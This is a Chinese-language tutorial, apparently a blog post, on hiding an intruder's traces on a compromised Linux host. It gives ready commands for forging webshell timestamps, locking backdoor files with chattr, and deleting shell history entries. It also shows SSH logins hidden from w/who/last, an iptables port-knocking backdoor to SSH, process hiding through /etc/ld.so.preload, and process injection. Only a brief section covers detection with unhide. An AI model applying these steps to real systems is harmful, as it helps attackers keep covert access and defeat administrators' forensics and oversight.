前言
最近对某台受攻击的主机进行了攻击手段排查(已被入侵),有感而发,故在事后总结该文。
攻击者往往在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍 Linux 下的几种隐藏技术。
隐藏文件
Linux 下创建一个隐藏文件,如:
touch .test.txt
touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下:
kali@kali:~/tmpdir$ touch .test.txt
kali@kali:~/tmpdir$ ls -l
总计 4
-rw-r--r-- 1 kali kali 4 6月 2日 21:29 username.txt
kali@kali:~/tmpdir$ ls -al
总计 12
drwxr-xr-x 2 kali kali 4096 6月 2日 21:29 .
drwxr-xr-x 26 kali kali 4096 6月 2日 21:28 ..
-rw-r--r-- 1 kali kali 0 6月 2日 21:29 .test.txt
-rw-r--r-- 1 kali kali 4 6月 2日 21:29 username.txt
kali@kali:~/tmpdir$
此时,一般的 Linux 下的隐藏目录使用命令 ls -l
是查看不出来的,只能查看到文件及文件夹,查看 Linux 下的隐藏文件需要用到命令:ls -al
而对于任何用户都可写的 /tmp
下,会默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方,如/temp/.ICE-unix/
、/temp/.Test-unix/
、/temp/.X11-unix/
、/temp/.XIM-unix/
等。
隐藏文件时间戳
此方法也是我藏文件经常用到的小技巧,在 Unix 下藏后门将文件的时间给修改,否则很容易被发现,这里直接利用 touch
命令即可。比如参考同目录下某个文件的时间,再赋给后门文件 webshell
,此时两个文件的时间就一样了。
利用方法如下:
touch -r [某文件] [webshell]
或者直接将时间戳修改成某年某月某日,如下为 2023 年 06 月 02 日:
touch -t 2306022139.30 webshell
参考如图所示:
隐藏权限
在 Linux 中,使用 chattr
命令来防止 root 和其他管理用户误删除和修改重要文件及目录,此权限用 ls -l
是查看不出来的,从而达到隐藏权限的目的。这个技巧也常被用在后门,变成了一些难以清除的后门文件,个人也在分析挖矿木马文件时遇到过挖矿木马使用了此用法,此方法也往往对新手来说感到头疼,下面就直接命令演示一下:
kali@kali:~/tmpdir$ rm -f test.txt
kali@kali:~/tmpdir$ touch test.txt
kali@kali:~/tmpdir$ sudo chattr +ai test.txt
kali@kali:~/tmpdir$ sudo rm -f test.txt
rm: 无法删除 'test.txt': 不允许的操作
kali@kali:~/tmpdir$ ls -al
总计 12
drwxr-xr-x 2 kali kali 4096 6月 2日 21:46 .
drwxr-xr-x 26 kali kali 4096 6月 2日 21:28 ..
-rw-r--r-- 1 kali kali 0 6月 2日 21:46 test.txt
-rw-r--r-- 1 kali kali 4 6月 2日 21:29 username.txt
kali@kali:~/tmpdir$ lsattr test.txt username.txt
----ia--------e------- test.txt
--------------e------- username.txt
kali@kali:~/tmpdir$ sudo chattr -ai test.txt
kali@kali:~/tmpdir$ sudo rm -f test.txt
kali@kali:~/tmpdir$ ls -al
总计 12
drwxr-xr-x 2 kali kali 4096 6月 2日 21:47 .
drwxr-xr-x 26 kali kali 4096 6月 2日 21:28 ..
-rw-r--r-- 1 kali kali 4 6月 2日 21:29 username.txt
kali@kali:~/tmpdir$
chattr 命令可参考该文章:https://linux.isisy.com/c/chattr.html
隐藏历史操作命令
在 shell 中执行的命令,不希望被记录在命令行历史中,那么如何关闭命令历史记录呢?
只针对你的工作关闭历史记录
[space]set +o history
注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令,它将恢复原环境,也就是你完成了你的工作,执行下述命令之后,后续你的命令都会出现在历史中了:
[space]set -o history
从历史记录中删除指定的命令
假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
根据“keyword”关键字检索历史命令:
history | grep "keyword"
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
history -d [num]
这种技巧是关键记录删除,或者我们可以暴力点,比如前 150 行是用户的正常操作记录,150 行以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前 150 行:
sed -i '150,$d' .bash_history
history 命令可参考该文章:https://linux.isisy.com/c/history.html
隐藏远程SSH登陆记录
隐身登录系统,不会被 w
、who
、last
等指令检测到,因为该登录方式不分配伪终端!故而也会被称做——幽灵登录:
ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i
不记录 ssh 公钥在本地 .ssh 目录中
ssh -o UserKnownHostsFile=/dev/null -T user@xxx.xxx.xxx.xxx /bin/bash –i
端口复用
通过端口复用来达到隐藏端口的目的,在 Linux 下,如何实现端口复用呢?
通过 SSLH 在同一端口上共享 SSH 与 HTTPS
先安装 SSLH :
# Debian系系统安装命令:
sudo apt-get install sslh
# 在 RHEL、CentOS 上,你需要添加 EPEL 存储库,然后安装 SSLH:
sudo yum install epel-release
sudo yum install sslh
然后编辑配置文件,若有 Run
参数则将 Run=no
修改为 Run=yes
以及修改相关监听设置,如下:
kali@kali:~/tmpdir$ sudo vim /etc/default/sslh
kali@kali:~/tmpdir$ cat /etc/default/sslh
# Default options for sslh initscript
# sourced by /etc/init.d/sslh
# binary to use: forked (sslh) or single-thread (sslh-select) version
# systemd users: don't forget to modify /lib/systemd/system/sslh.service
DAEMON=/usr/sbin/sslh
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
kali@kali:~/tmpdir$
上述命令参数说明:
–user sslh
:要求在这个特定的用户身份下运行。–listen 0.0.0.0:443
:SSLH 监听于所有可用接口的 443 端口。–ssh 127.0.0.1:22
:将 SSH 流量路由到本地的 22 端口。–ssl 127.0.0.1:443
:将 HTTPS/SSL 流量路由到本地的 443 端口。
然后启动程序,此时即可通过 443 端口连接 ssh 服务,如图所示:
利用 IPTables 进行端口复用
使用前先开启系统的转发功能,临时开启命令如下: sysctl -w net.ipv4.ip_forward=1
相关命令如下,命令按序执行:
1、先创建一个端口复用链子 LETMEIN
:
iptables -t nat -N LETMEIN
2、创建一个端口复用规则,用于将主机接收的相关端口的流量转发至 22 端口:
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
3、设置一个开启开关,当接收到一个含有"secretDoorOpen"的 TCP 包,则将来源 IP 添加到 LETMEIN 的列表中:
iptables -A INPUT -p tcp -m string --string 'secretDoorOpen' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
4、设置一个关闭开关,当接收到一个含有"trapDoorClosed"的 TCP 包,则将来源 IP 从 LETMEIN 的列表中移除:
iptables -A INPUT -p tcp -m string --string 'trapDoorClosed' --algo bm -m recent --name letmein --remove -j ACCEPT
5、当发现 SYN 包的来源 IP 处于 LETMEIN 的列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒:
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
利用方式如下:
# 开启复用,此处使用 nc 命令演示,也可使用 socat、telnet 等命令
echo 'secretDoorOpen' | nc 192.168.17.121 80
# ssh 使用 80 端口进行登录
ssh -p 80 root@192.168.17.121
# 关闭复用
echo 'trapDoorClosed' | nc 192.168.17.121 80
演示如图 cmd 窗口:
当然,如果上述 TCP 操控不可行,但对应主机可 Ping 的话,那么也可以使用 ICMP 协议操控,将上述的第3、4步修改为如下,其余步骤不变:
# 开启开关,如果接收到一个长为 1028 的 ICMP 包,则将来源 IP 添加到加为 letmein 的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1028 -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关,如果接收到一个长为 1029 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1029 -m recent --name letmein --remove -j ACCEPT
操控如下:
# 开启复用,向目标发送一个长度为 1000 的 ICMP 数据包(加上包头28,总长度实际为1028)
ping -c 1 -s 1000 xxx.xxx.xxx.xxx
# 关闭复用,向目标发送一个长度为 1001 的 ICMP 数据包(加上包头 28,总长度实际为 1029)
ping -c 1 -s 1001 xxx.xxx.xxx.xxx
进程隐藏
隐藏应用进程,使得管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的(工具挺多的,下述仅供参考学习)。
使用 libprocesshider
Github 项目地址:https://github.com/gianlucaborello/libprocesshider
利用 LD_PRELOAD 来实现系统函数的劫持,实现如下:
# 克隆程序到本地
git clone https://github.com/gianlucaborello/libprocesshider
# 编译程序
cd libprocesshider/ && make
# 移动文件到/usr/local/lib/目录下
cp libprocesshider.so /usr/local/lib/
# 把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
测试运行该目录下的 evil_script.py
文件,就会发现 cpu
使用率高,使用 top
与 ps
命令都无法找到 evil_script.py
,但是却找不到相关文件。
经过上述的操作,相关进程隐藏了,那么我们如何在 Linux 中发现隐藏的进程?
此时推荐一款工具:unhide
,它是一个小巧的网络取证工具,能够发现那些借助 rootkit ,LKM 及其它技术隐藏的进程和 TCP / UDP 端口。这个工具在 Linux,UNIX 类,MS-Windows 等操作系统下都可以工作。
工具下载地址:http://www.unhide-forensics.info/
RH 系系统安装如下
# 安装
sudo yum install unhide
# 使用
unhide [options] test_list
例如使用(此处系统中无隐藏进程):unhide proc
[root@localhost ~]# unhide proc
Unhide 20130526
Copyright © 2013 Yago Jesus & Patrick Gouin
License GPLv3+ : GNU GPL version 3 or later
http://www.unhide-forensics.info
NOTE : This version of unhide is for systems using Linux >= 2.6
Used options:
[*]Searching for Hidden processes through /proc stat scanning
[root@localhost ~]#
进程注入工具 linux-inject
linux-inject 是用于将共享对象注入 Linux 进程的工具。
Github 项目地址: https://github.com/gaffe23/linux-inject
# 克隆程序到本地
git clone https://github.com/gaffe23/linux-inject
# 编译
cd linux-inject && make
# 测试进程
./sample-target
# 进程注入
./inject -n sample-target sample-library.so
验证进程注入成功,如下图所示:
结语
本文主要介绍了 Linux 下的几种隐藏技术,包括隐藏文件、隐藏权限、隐藏历史操作命令、端口复用、进程隐藏等方面的技巧。也是近期的一个知识总结吧。